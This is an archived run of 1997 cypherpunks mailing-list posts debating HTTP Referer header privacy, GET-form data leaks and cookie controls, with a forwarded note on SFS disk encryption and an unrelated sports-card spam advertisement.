> from a web server. As an adminsitrator I AM NOT ENTITLED to that info.

Why not?  It's a useful tool to find out who has linked to you.

On the other hand, it _is_ a privacy concern, and I don't want to send it
to sites I visit.  So I included an option blocking the Referrer tag in
Cookie Jar, the cookie-blocking program I wrote.   I'd like to think that
writing it helped push Netscape into supporting better options for cookies
(see rfc2109) and into adding this option for not sending Referrer
but I'm sure there were many other louder calls for the same thing.


> Accept responsibility?  Ok, that's wishful thinking. How about not
> blaming others? How about warning your users? You didn't do it in this
> case. If you do then you can say "I told you so!"


Users need to educate themselves.  Even a fairly security and privacy
concious company like Netscape still has exectutives who feel as though
they have to answer to the bottom line and who will sacrifice consumer
privacy to get there if they feel that the advantages outweigh the risks.
Netscape has consistently led industry in realizing and fixing and admitting
security holes and privacy issues, largely due to the effort of Jeff and
the rest of their security group in educating upper management on those
issues and making them realize their importance.  However I am not willing
to bet my privacy on Netscape's good will, as it could turn at any time.

The way to real privacy is to educate oneself.  Demanding companies to
"fix it" is lame and ineffectual.  You have the technology-  fix it
yourself!  Distribute your code.  Make the companies look bad.
Educate the sheeple.  But asking companies to look out for your privacy
is a waste of time.



-- 
   Eric Murray  ericm@lne.com         Privacy though technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 13:52:03 -0700 (PDT)
To: sameer <sameer@c2.net>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/000161B1@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



>	GET forms aren't the only thing wrong with referer, btw. An
>associate of mine discovered some prioprietary Netscape information
>from the Referer: headers on hits to his website from Netscape
>employees, even.

Could you elaborate?


 ----------
From: sameer
To: ARTURO GRAPA YSUNZA; Tom Weinstein
Cc: toto@sk.sympatico.ca; cypherpunks@toad.com; stewarts@ix.netcom.com;
markm@voicenet.com; AGRAPA@k2.banamex.com; cryptography@c2.net
Subject: Re: SSL weakness affecting links from pa
Date: Monday, April 14, 1997 2:23PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: sameer
Para:  ARTURO GRAPA YSUNZA
     Tom Weinstein
Cc:  toto@sk.sympatico.ca
     cypherpunks@toad.com
     stewarts@ix.netcom.com
     markm@voicenet.com
     AGRAPA@k2.banamex.com
     cryptography@c2.net
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-04-14 14:23
Prioridad: 3
Ident. del mensaje: A7705E17CEB1D011AF91006097838CEB

 -----------------------------------------------------------------------
----- --

> information.  This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
[. . .]
>
> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.  In the
> case of Navigator, we ONLY send the referer header when you click on a
> link.  Not when you select a bookmark.  Not when you type a URL into the
> location field.  This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.

	GET forms aren't the only thing wrong with referer, btw. An
associate of mine discovered some prioprietary Netscape information
from the Referer: headers on hits to his website from Netscape
employees, even.

	I commend Netscape for providing users with the ability to
turn off referers.

 --
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 13:14:26 -0700 (PDT)
To: Eric Murray <ericm@lne.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001616E@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



Re: SSL & GET

I suspect that the pass-the-buck syndrome is in full force.

If the specs authors should realize that programmers are going to code
by them then shouldn't programmers realize that users are going to use
their products?

The user, the specification author, the browser manufacturer, the server
manufacturer, and the content provider all share the responsibility.
Just 'cause its in the specs doesn't mean (shouldn't mean) that everyone
else can just wash their hands of it. There are stupid users, stupid
specification authors, stupid browser manufacturers, etc. If the specs
are not secure the user shouldn't use it, the manufacturer shouldn't
code to it, etc. OR SHOULD THEY SHARE RESPONSIBILITY? I guess the real
solution will come in court when someone tries to sue a content provider
who tries to sue a server manufacturer who tries to sue a browser
manufacturer who tries to sue a specs author.

My concern is that the author of the comments, who works for Netscape by
the way, is passing the buck on to the content provider. Its great
policy for Netscape, bad policy Netscape's clients.

Re: HTTP REFERER

Useful? Yes. Entitled? NO.

Art Grapa
agrapa@banamex.com


 ----------
From: Eric Murray
To: ARTURO GRAPA YSUNZA; AGRAPA@k2.banamex.com
Cc: cypherpunks@toad.com; tomw@netscape.com; cryptography@c2.net
Subject: Re: SSL weakness affecting links from pa
Date: Monday, April 14, 1997 12:45PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Eric Murray
Para:  ARTURO GRAPA YSUNZA
     AGRAPA@k2.banamex.com
Cc:  cypherpunks@toad.com
     tomw@netscape.com
     cryptography@c2.net
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-04-14 12:45
Prioridad: 3
Ident. del mensaje: 8C705E17CEB1D011AF91006097838CEB

 -----------------------------------------------------------------------
----- --

ARTURO GRAPA YSUNZA writes:
>
>
> Tom Weinstein wrote:
>
> >This particular feature (the HTTP referer header) has nothing to do with
> >corporations "having their way" with users.  It was created so that web
> >authors could put "back" buttons on their pages.  The security problem
> >arises when stupid CGI authors use GET forms to transfer sensitive
> >information.  This is a security hole in the web site, not in the
> >browser.  The browser follows the HTTP specification.  If you have a
> >problem with that, contact the author of that specification.  Or, better
> >yet, contact the web site (as far as I know, there are none) that has
> >this security hole.
>
> Stupid programmers abound even in large corporations. Bugs, patches and
> security holes are now normal everyday things. I agree with Toto.
> Companies should take more responsability in the programs they produce.

No, specification authors should take more responsibility in the specs
that they produce.  The HTTP spec's use of GET is insecure.
Specification
writers should realize that people will follow their specs, and should
be thinking of security and privacy issues as they are beig written.


> >In the eyes of some, the referer header is a privacy violation.  It
> >allows a site to see what site you visited before coming there.  In the
> >case of Navigator, we ONLY send the referer header when you click on a
> >link.  Not when you select a bookmark.  Not when you type a URL into the
> >location field.  This allows web sites to see who links to them.  I
> >think that's something that a web author is entitled to know.
>
> NO WAY! The web author is NOT entitled to know where I came from. So if
> you go to Sears the saleperson is entitled to know you came from
> JCPenney's? If so, then I am just as much entitled to not tell him or at
> least entitled to know that there's a sign on my back that says where I
> came from. How many web users are aware of the HTTP REFERRER header? Not
> many, especially if they have not read the specs or looked at the logs
> from a web server. As an adminsitrator I AM NOT ENTITLED to that info.

Why not?  It's a useful tool to find out who has linked to you.

On the other hand, it _is_ a privacy concern, and I don't want to send
it
to sites I visit.  So I included an option blocking the Referrer tag in
Cookie Jar, the cookie-blocking program I wrote.   I'd like to think
that
writing it helped push Netscape into supporting better options for
cookies
(see rfc2109) and into adding this option for not sending Referrer
but I'm sure there were many other louder calls for the same thing.


> Accept responsibility?  Ok, that's wishful thinking. How about not
> blaming others? How about warning your users? You didn't do it in this
> case. If you do then you can say "I told you so!"


Users need to educate themselves.  Even a fairly security and privacy
concious company like Netscape still has exectutives who feel as though
they have to answer to the bottom line and who will sacrifice consumer
privacy to get there if they feel that the advantages outweigh the
risks.
Netscape has consistently led industry in realizing and fixing and
admitting
security holes and privacy issues, largely due to the effort of Jeff and
the rest of their security group in educating upper management on those
issues and making them realize their importance.  However I am not
willing
to bet my privacy on Netscape's good will, as it could turn at any time.

The way to real privacy is to educate oneself.  Demanding companies to
"fix it" is lame and ineffectual.  You have the technology-  fix it
yourself!  Distribute your code.  Make the companies look bad.
Educate the sheeple.  But asking companies to look out for your privacy
is a waste of time.



 --
   Eric Murray  ericm@lne.com         Privacy though technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Mon, 14 Apr 1997 13:18:12 -0700 (PDT)
To: "bryce@digicash.com>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001616F@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



How about:

"You are about to send a 'referrer header' telling the next web
site about the web page you are currently looking at.  Should
<netscape> send this 'referrer header'?
[Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]

[CHECKBOX] Don't ask again."



 ----------
From: bryce@digicash.com
To: ARTURO GRAPA YSUNZA; Black Unicorn
Cc: cypherpunks@toad.com; cryptography@c2.net; toto@sk.sympatico.ca; Tom
Weinstein; Bill Stewart; Mark M.; ARTURO GRAPA YSUNZA
Subject: Re: SSL weakness affecting links from pa
Date: Monday, April 14, 1997 1:44PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: bryce@digicash.com
Para:  ARTURO GRAPA YSUNZA
     Black Unicorn
Cc:  cypherpunks@toad.com
     cryptography@c2.net
     toto@sk.sympatico.ca
     Tom Weinstein
     Bill Stewart
     Mark M.
     ARTURO GRAPA YSUNZA
Asunto:  Re: SSL weakness affecting links from pa
Fecha: 1997-04-14 13:44
Prioridad: 3
Ident. del mensaje: A0705E17CEB1D011AF91006097838CEB

 -----------------------------------------------------------------------
----- --


 A million monkeys operating under the pseudonym
 "Black Unicorn <unicorn@schloss.li>" typed:
>
> "You are about to forward a referer header to the page you have selected.
> Forwarding the referer header to this site may reveal more about your web
> browsing habits than you would prefer.  Should <netscape> surpress the
> referer header?  Yes/No/Always Surpress/Never Surpress."


Minor UI nit:  it would be much much better if it said


"You are about to send a 'referrer header' telling the next web
site about the web page you are currently looking at.  Should
<netscape> send this 'referrer header'?
[Yes/No/Always Send Referrer Headers/Never Send Referrer Headers]"



Regards,

Zooko Journeyman

Disclaimers follow:  I am not a cypherpunk.  NOT speaking for
DigiCash or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 14 Apr 1997 08:35:04 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: RE: [PGP-USERS] SFS and PGP
Message-ID: <3.0.1.32.19970414110356.007b3100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: "James A. Tunnicliffe" <jim.tunnicliffe@inference.com>
>To: "'pgp-users@rivertown.net'" <pgp-users@rivertown.net>
>Cc: "'GWNapier@aol.com'" <GWNapier@aol.com>
>Subject: RE: [PGP-USERS] SFS and PGP
>Date: Mon, 14 Apr 1997 07:21:52 -0700
>-----BEGIN PGP SIGNED MESSAGE-----
>
>GWNapier@aol.com says:
>> Lately I have heard a lot about SFS.  The bits and pieces I heard
>> about it said it integrated PGP into it.  If anyone knows about where
>> I can get more info about, I would appreciate it.  If SFS has nothing
>> to do with PGP and I have heard wrong, I give you my deepest
>> apologies for bringing it up on this list. 
>
>Peter Gutmann's SFS (Secure File System) is a highly regarded program
>for encrypting entire disk partitions at the sector level.  It's a
>low-level device driver that encrypts your disk writes and decrypts
>your disk reads transparently on the fly, so your disk is always in
>an encrypted state.  Apart from being a quality encryption product,
>it has nothing to do with PGP, secure email, etc.  It's for a whole
>different (though very valuable) purpose... 
>
>For more information, see:
>   http://www.cs.auckland.ac.nz/~pgut001/sfs.html
>
>Tunny
>======================================================================
> James A. Tunnicliffe   | WWWeb: http://www.inference.com/~tunny
> Inference Corporation  | PGP Fingerprint:   CA 23 E2 F3 AC 2D 0C 77
> tunny@Inference.com    |                    36 07 D9 33 3D 32 53 9C
>======================================================================
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.0 Business Edition
>Comment: Achieving civil liberty through complex mathematics
>
>iQEVAgUBM1I+iPAmQsmyRPddAQGltAf/Vsn7Mj9dJyl8za4gOcK8s5CbetyqPc2Z
>giqxUr63ghdOSPhDYkRbfvroS6GrfVbTF4Gdhx7aZ+8J5FF5YXF1I1iHELkAJxTm
>AFoErAkZZHLUH5D2RddV0dXJQBPFa0O2h8kxL8V24ktUnGyi5UOwXPoub9vwAVnM
>+x1fu8J6/z8PkOLHOe/BczAUCRtgzHFD9XZ0wVSXQgLKgIkftxF5gfO/x0UM9w17
>rdiAx4QzLotwmUKKhVUVAm2glcvkRa0Zs0JQv5QdtVOvNCPSJpcz90yFqUbKiPJp
>R0SQhcAmJveJMNEUoetQ68s3eMdoe1U0nGJOVg0tK5rdZzEDxyXxPA==
>=XKVJ
>-----END PGP SIGNATURE-----
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 14 Apr 1997 11:31:24 -0700 (PDT)
To: unicorn@schloss.li
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <Pine.SUN.3.96.970414115216.28199C-100000@polaris.mindport.net>
Message-ID: <199704141830.LAA13210@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn writes:
 
> I might add that I would like an option on cookie supression to bypass
> that annoying dialog such to never allow cookies.  It gets a bit much when
> a page askes for 9 cookies in a row and the only way to prevent them is to
> get beeped at repeatedly.  Again, don't confuse the novice, don't slow
> down the expert.

RFC 2109, released a couple months ago, addresses this.  Unless
Doubleclick is successful in getting it changed. :-(

I don't think any browsers yet support the cookie-choice features of 2109
(correct me if I'm wrong).  So in the mean time you can use Cookie Jar
(http://www.lne.com/ericm/cookie_jar/) to filter out cookies and
Referer: tags and ads.



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 14 Apr 1997 11:19:31 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <335273AE.391E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tom Weinstein wrote:
> Toto wrote:
> > Let's get real, here. Corporations add capabilities to their programs
> > that allow themselves and other 'major players' to have their way with
> > the user.
> >   When Joe Average, or a hacker/spammer takes advantage of the same
> > capability, then the vendors claim it is a 'bug', or that they can't
> > be blamed for the 'bad guys' use of this built-in function.
> 
> This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
> problem with that, contact the author of that specification.
> 
> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.

  And the Netscape default is to violate the user's privacy.

> This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.

  Without notifying the user of your software that information
they may want to keep private is being given out? I don't think so.
  Why do you not instead require the web author to 'ask for 
permission' to know where the user last visited? Is it because
the user is just considered a pawn of business interests?
  
> So, you think we're doing something bad.  Why don't you tell me what
> you think we should do?

  My personal opinion is that you should inform your users of how,
when and why the use of your software does, or can, affect their
privacy. And you should give them an option of installing your
software with all privacy features set to 'on'.
  Give your users the option of not allowing their privacy to be
silently intruded on with no notification.

  The 'Cookie' situation is a good example of placing corporate
interests ahead of the interests of those who use a browser.
  The fact that the capacity to turn off cookie acceptance was
added after people found out and complained about their privacy
being violated is not something for companies to be proud of,
no matter how much their PR department may claim they are
championing privacy by adding these 'features'.

  I realize that the corporatization of the InterNet provides
certain benefits to users, but the fact of the matter is, the
cost of those benefits is being hidden from the users.
  I would just like to see a browser which informs the average
user in what way their information is being used and shared,
and gives them a way to protect themselves against intrusion
into their private lives and dissemination of their personal
information.

  Believe it or not, there may be users who stumble upon or
are suckered into going to a 'Bestiality and Child Perversion'
site who may not want to spread this information around.
  When I find out that a program's installation process has
stuck a hidden corncob up my ass, I'm not going to write them
a thank-you note if they later come up with a 'feature' to 
allow me to remove it.

  Please be advised that my email reply to you in no way indicates
a desire for my name to be sold to a 'Bestiality' mailing list,
despite whether or not this is part of some standard 'specification'
hidden in Netscape's fine print. (Cheap shot? Moi?)
  I use Netscape, and I like the different technologies being
developed that expand user's horizons. However, I would rather
be told what the cost is to have all of these 'free' capabilities,
and be given the option of bearing the burden of whatever increased
costs may arise by my not wanting to open my life and interests to
every operator of a roadside stand along the Information Highway.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 14 Apr 1997 09:20:14 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <Pine.SUN.3.96.970414115216.28199C-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 14 Apr 1997, Tom Weinstein wrote:

> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.  In the
> case of Navigator, we ONLY send the referer header when you click on a
> link.  Not when you select a bookmark.  Not when you type a URL into the
> location field.  This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.
> 
> So, you think we're doing something bad.  Why don't you tell me what
> you think we should do?

Thanks for the chance to address the issue.

I think that perfectly reasonable "features" often can become "security
flaws" or "privacy lapses" when the user is not aware of the potential
danger.  In this case I think much of the flak over the referer header is
driven by the fact that no one really appreciated the danger until it was
pointed out.  This gives rise to the "My god!  What have I been giving out
all these months while accessing www.hotchicks.com?" panic.  Of course
the next step is anger.  "Why the hell does <netscape> do that?  Why
wasn't I told?"

This melds into another software annoyance of mine.  Sacrificing the needs
of the user who knows what he is doing for the novice when both can be
easily satisified.  Of course the reverse is also true.  Take, for
example, Mr. Stewart's comment:

>I basically agree with Microsoft.  It works as specified, and everyone
>should know that handling sensitive form posts via GET is a bad idea.

Well, those of us who know what we are doing should know better but (and
I'm not sure this is Mr. Weinstein's mission or concern) if you want to
educate the public you need to assume the user does not know and create
and option to streamline operation for the user who does.

Having said the above, what I would like to see is an option to surpress
the referer header explicitly like with cookies.

"You are about to forward a referer header to the page you have selected.
Forwarding the referer header to this site may reveal more about your web
browsing habits than you would prefer.  Should <netscape> surpress the
referer header?  Yes/No/Always Surpress/Never Surpress."

I might add that I would like an option on cookie supression to bypass
that annoying dialog such to never allow cookies.  It gets a bit much when
a page askes for 9 cookies in a row and the only way to prevent them is to
get beeped at repeatedly.  Again, don't confuse the novice, don't slow
down the expert.

> -- 
> You should only break rules of style if you can    | Tom Weinstein
> coherently explain what you gain by so doing.      | tomw@netscape.com

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Lyles <lyles@parc.xerox.com>
Date: Mon, 14 Apr 1997 12:34:53 -0700 (PDT)
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <97Apr14.123346pdt."7904"@thyron.parc.xerox.com>
MIME-Version: 1.0
Content-Type: text/plain


In message <3351F2DF.7DC26A1A@netscape.com>you write:
...
>In the eyes of some, the referer header is a privacy violation.  It
>allows a site to see what site you visited before coming there.  In the
>case of Navigator, we ONLY send the referer header when you click on a
>link.  Not when you select a bookmark.  Not when you type a URL into the
>location field.  This allows web sites to see who links to them.  I
>think that's something that a web author is entitled to know.
>

Tom,

<ignoring personal privacy issues>

I am concerned that the referer field could be a major corporate security 
leak.  In particular, many companies are now using the web for internal 
project documentation.  The URLs often contain project code words or code 
names.  If a project wishes to to establish links to competitors for purposes 
of benchmarking, or to suppliers, the referer field would leak those code 
words and/or project organization.  In most security handbooks this is a 
breach of project security.  

Unfortunately, you (the commercial web community) are creating entitlements 
which the user community is likely to disagree with strongly.  My newspaper 
does not have an entitlement to know which pages I read, the advertisers in 
the newspaper do not have entitlements to the knowledge of which ads I scan.  
Assumption of such entitlements in the web environment will inevitably lead to 
privacy violations, security leaks and legal action.

-Bryan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Mon, 14 Apr 1997 12:43:14 -0700 (PDT)
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3351F2DF.7DC26A1A@netscape.com>
Message-ID: <199704141942.MAA15317@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> information.  This is a security hole in the web site, not in the
> browser.  The browser follows the HTTP specification.  If you have a
[. . .]
> 
> In the eyes of some, the referer header is a privacy violation.  It
> allows a site to see what site you visited before coming there.  In the
> case of Navigator, we ONLY send the referer header when you click on a
> link.  Not when you select a bookmark.  Not when you type a URL into the
> location field.  This allows web sites to see who links to them.  I
> think that's something that a web author is entitled to know.

	GET forms aren't the only thing wrong with referer, btw. An
associate of mine discovered some prioprietary Netscape information
from the Referer: headers on hits to his website from Netscape
employees, even.

	I commend Netscape for providing users with the ability to
turn off referers.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: house@savetrees.com
Date: Mon, 14 Apr 1997 16:27:04 -0700 (PDT)
To: house@iapc.net
Subject: HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE
Message-ID: <0000000000.AAA000@savetrees.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SPORTFAN <SPORTFAN@Overtimeinc.com>
Date: Mon, 14 Apr 1997 21:54:27 -0700 (PDT)
To: Specials@overtimeinc.com
Subject: MICHAEL JORDAN AND OTHER SPORTS STARS -  SPECIAL !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <33527FB9.19E0@Overtimeinc.com>
MIME-Version: 1.0
Content-Type: text/plain


DO YOU OR ANYONE YOU KNOW LIKE SPORTS ?
DO YOU OR ANYONE YOU KNOW COLLECT SPORTS CARDS ?
HAVE YOU EVER WANTED TO MAKE A SECOND INCOME ?
HAVE YOU EVER BOUGHT A GIFT FOR A SPORTS FAN ?

If the answer was YES for any of the above questions - we have
 some INCREDIBLE DEALS for you.

ALSO - IF YOU ORDER IN APRIL (Min. $ 50) we will send you
  ***** FREE ***** A 25th Anniversary 1990-91 Mini BULLS Schedule
 
------------------------------------------------------------------------
 - INSTRUCTIONS TO BE REMOVED FROM OUR E-MAIL LIST - 

IF YOU WISH TO BE REMOVED FROM OUR MAILING LIST PLEASE DO NOT
   HIT REPLY.
TO BE REMOVED E-MAIL SPECIALSMGR@OVERTIMEINC.COM  
   AND ASK TO BE REMOVED FROM OUR LIST.
------------------------------------------------------------------------
 
For years Sports Collectables, especially Sports Cards have been a
  Multi-Billion dollar industry.

Sports collectables have been both a GREAT HOBBY AND BUSINESS for
  Millions of people of ALL AGES.

We at OVERTIME DIST., INC. have been involved in this industry for
  10 years.  The most important thing we've learned that has helped us  
and others be successful is:

  IF YOU CAN BUY ANYTHING CHEAP ENOUGH - YOU CAN ALWAYS MAKE MONEY !!!!

THAT IS WHY OVER HALF OF THE PRODUCTS WE CARRY ARE, WHAT WE CALL    
"CLOSEOUTS".  These products wholesale for 50 - 60 % of their
  suggested retail price.  We sell them to you for between 20 - 30 %
  of their suggest retail price.

THE FOLLOWING ARE SOME OF OUR BEST SELLERS (CLOSEOUTS AND NEW RELEASES)

  FOR A MORE COMPLETE LIST VISIT OUR WEBSITE AT:
    
             -------------------
      *****  WWW.OVERTIMEINC.COM  *****
             -------------------         
BASEBALL:
1996 LEAF PREFERRED - 24 PACKS @ 3.49 EACH - FOR ONLY  $  29 !!!!!
1996 PINNACLE 2 JUMBO - 36 PACKS PRE-PRICED AT $ 2.99 EACH FOR ONLY $ 29
1996 ULTRA 1 JUMBO - 24 PACKS PRE-PRICED AT $ 3.39 EACH FOR ONLY  $ 25
1996 E-XL EMOTION HOBBY - 18 PACKS RETAIL = $ 90  - OUR PRICE $ 29

1995 EMOTION - 36 PACKS - RETAIL = $ 180 - OT'S PRICE = ONLY  $ 39
1995 FLAIR 1 OR 2 - 24 PACKS - RETAIL = $ 120 - OT'S PRICE  $  29

1994 UPPER DECK 2 RETAIL - 36 PACKS = RETAIL $ 90 - OT'S PRICE  $ 19

BASKETBALL:
1995-6 ULTRA 1 JUMBO - 36 PACKS @ 3.39 = $ 122  -  FOR ONLY  $ 25 !!!! 
1995-6 ULTRA 2 RETAIL - 36 PACKS = RETAIL $ 90  -  OT'S PRICE $ 25
1995-6 SKYBOX 2 RETAIL - 36 PACKS = RETAIL $ 90 - ONLY  $ 25
1995-6 FLAIR 2 - HOBBY - 24 PACKS - RETAIL $ 120  ONLY  $ 35 !!!!!!!!

FOOTBALL:
1995 FLAIR -  36 PACKS - RETAIL  $ 180  -  FOR ONLY  $ 39 !!!!!!
1995 ULTRA 1 OR 2 JUMBO - 36 @ 3.39 = $ 122 RETAIL FOR ONLY $ 25 !!!!!

HOCKEY:
1995-6 EMOTION - 36 PACKS - RETAIL = $ 180 - FOR ONLY  $ 39 !!!!!
1995-6 ULTRA EXTRA RETAIL - 36 PACKS = FOR ONLY  $ 25 

1994-5 FLAIR - 24 PACKS - FOR ONLY  $  29 !!!!!!!!

NON-SPORTS
1995 BATMAN ULTRA FOREVER - 36 PACKS - RETAIL $ 72  FOR ONLY  $ 15
1995 BATMAN FOREVER METAL - 36 PACKS - RETAIL $ 90  FOR ONLY $ 15
1995 LION KING 2 - 36 PACKS - RETAIL = $ 60 +  ONLY  $ 12
1995 POCOHONTAS - 36 PACKS  FOR  ONLY  $ 12 !!!!!!

------------
NEW RELEASES - BEST SELLERS
------------

BASEBALL - ALL 1997 PRODUCTS
TOPPS 2 RETAIL - 36 PACKS - RETAIL = $ 72  =  FOR ONLY  $ 35
PINNACLE - HOBBY - 24 PACKS  FOR ONLY  $ 39
FINEST - HOBBY - 24 PACKS - EMAIL FOR PRICE

BASKETBALL - 1996-7 PRODUCTS
ULTRA 2 - HOBBY - 24 PACKS FOR ONLY $ 45
SKYBOX 2 - HOBBY - 24 PACKS FOR $ 49
SKYBOX Z-FORCE 2 HOBBY - 24 PACKS FOR  $ 59
ULTRA 1 HOBBY - 24 PACKS FOR $ 59
FINEST 2 - HOBBY - 24 PACKS -  EMAIL FOR PRICE
TOPPS CHROME - 20 PACKS - EMAIL FOR PRICE
UPPER DECK - SPACE JAM 2 - 36 PACKS - $ 27 

FOOTBALL: 1996 PRODUCTS
METAL RETAIL - 36 PACKS - RETAIL = $ 90  FOR ONLY  $ 29
ULTRA 1 RETAIL = 36 PACKS FOR ONLY  $ 29
PINNACLE JUMBO = 36 PACKS @ 2.99  FOR ONLY  $ 29
PLAYOFF TROPHEY CONTENDERS - 24 PACKS FOR $ 39
IMPACT 48 PACK RETAIL BOXES FOR ONLY  $ 29
FLEER 48 PACK RETAIL BOXES FOR ONLY $ 29

HOCKEY: 1996-7 PRODUCTS
LEAF PREFFERRED - 24 PACKS  FOR ONLY  $ 65
ZENITH - 24 PACKS FOR ONLY  $ 65
METAL - HOBBY - 24 PACKS FOR $ 45
ULTRA 1 HOBBY - 24 PACKS FOR ONLY $ 45

OTHER SPECIALS:

  ----- MICHAEL JORDAN STANDUP FROM UPPER DECK -------
      IT COMES WITH 2 PACKS PRICED AT $ 2.49 EACH 
        FOR ONLY  $  9  EACH   OR  10 FOR $ 79

NON-SPORTS
  WE CARRY MOST OF THE MAGIC THE GATHERING GAMING CARDS
   EMAIL OR CALL FOR PRICES.

TO ORDER ANY OF THE ABOVE ITEMS OR TO CONTACT US FOR MORE INFORMATION
CONTACT US BY:

EMAIL: GREATDEALS@OVERTIMEINC.COM
CALL:  1-800-425-GAME (4263)
FAX:   1-847-564-9684
MAIL:  OVERTIME DIST., INC.
       1970 RAYMOND DR.
       NORTHBROOK, IL .60062

PAYMENT TERMS: VISA, MASTERCARD, DISCOVER, AMERICAN
EXPRESS,                PRE-PAYMENTS, COD CASH

SHIPPING:  ALL ORDERS ARE SHIPPED UPS  AND CHARGED THE ACTUAL
           UPS CHARGES - BASED ON WEIGHT AND DISTANCE AND INSURANCE.

PRICES AND PRODUCTS ARE SUBJECT TO CHANGE

------------------------------------------------------------------------
WE ALSO BUY - MANY SEALED BOXES AND CASES OF TRADING CARDS -
   CONTACT US WITH WHAT YOU HAVE TO SELL - YOU MAY FIND OUT	
   THAT "JUNK" IN YOUR CLOSET IS WORTH SOMETHING
------------------------------------------------------------------------    
THANK YOU FOR READING THIS - HOPEFULLY WE CAN
  "WORK OVERTIME TO MAKE YOU MONEY"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Mon, 14 Apr 1997 16:17:12 -0700 (PDT)
To: AGRAPA@banamex.com (ARTURO GRAPA YSUNZA)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/000161B1@mex3976bcaop1.banamex.com>
Message-ID: <199704142316.QAA18847@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Could you elaborate?

	That would be impolite, sorry.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 14 Apr 1997 15:54:04 -0700 (PDT)
